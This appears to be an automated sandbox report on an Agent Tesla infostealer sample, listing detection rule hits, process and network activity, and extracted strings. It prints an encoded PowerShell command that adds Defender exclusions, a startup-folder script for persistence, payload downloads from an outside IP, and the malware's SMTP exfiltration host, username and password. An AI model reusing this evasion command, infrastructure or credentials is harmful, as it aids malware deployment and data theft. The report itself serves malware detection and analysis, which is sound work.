QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, ParentProcessId: 7460, ParentProcessName: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeA

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 46.175.148.58, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, Initiated: true, ProcessId: 2964, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49724

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs" , ProcessId: 1400, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, ParentProcessId: 7460, ParentProcessName: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeA

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, ProcessId: 7460, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 14.2.InstallUtil.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "25", "Host": "mail.iaa-airferight.com", "Username": "admin@iaa-airferight.com", "Password": "manlikeyou88"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\pdf.exe

ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

ReversingLabs: Detection: 44%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: PC.pdB.p source: InstallUtil.exe, 0000000E.00000002.1673521870.0000000001280000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1455658225.0000000006080000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.00000000040DE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.000000000408E000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003C75000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1455658225.0000000006080000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.00000000040DE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.000000000408E000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003C75000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: lPC.pdB.p source: InstallUtil.exe, 0000000E.00000002.1673521870.0000000001280000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Source: global traffic	HTTP traffic detected: GET /win32/panel/uploads/Sndab.vdf HTTP/1.1Host: 196.251.83.222Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /win32/panel/uploads/Sndab.vdf HTTP/1.1Host: 196.251.83.222Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 46.175.148.58 46.175.148.58
Source: Joe Sandbox View	IP Address: 196.251.83.222 196.251.83.222

Source: global traffic

TCP traffic: 192.168.2.4:49724 -> 46.175.148.58:25

Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222

Source: global traffic	HTTP traffic detected: GET /win32/panel/uploads/Sndab.vdf HTTP/1.1Host: 196.251.83.222Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /win32/panel/uploads/Sndab.vdf HTTP/1.1Host: 196.251.83.222Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: mail.iaa-airferight.com

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439970694.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1724440064.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.251.83.222
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439970694.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1724440064.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.251.83.222/win32/panel/uploads/Sndab.vdf
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://196.251.83.222/win32/panel/uploads/Sndab.vdfKhNMWDfYMHH2muGPrJ4.n2acBlZa1K46k6h5vNG
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crt0
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0N
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0
Source: InstallUtil.exe, 0000000E.00000002.1675252240.0000000002E06000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000017.00000002.2428186075.0000000003206000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.iaa-airferight.com
Source: powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0W
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439970694.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1359455788.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1724440064.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, pdf.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.1669938478.0000000000402000.00000040.00000400.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003DA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 0000000B.00000002.1359455788.00000000052A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000B.00000002.1359455788.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 0000000B.00000002.1362165458.000000000630B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439970694.0000000002FA6000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1724440064.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, SKTzxzsJw.cs

.Net Code: sf6jJs8S

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 19.2.pdf.exe.3db85e8.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 19.2.pdf.exe.3db85e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_06086E5B	0_2_06086E5B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_0127E958	0_2_0127E958
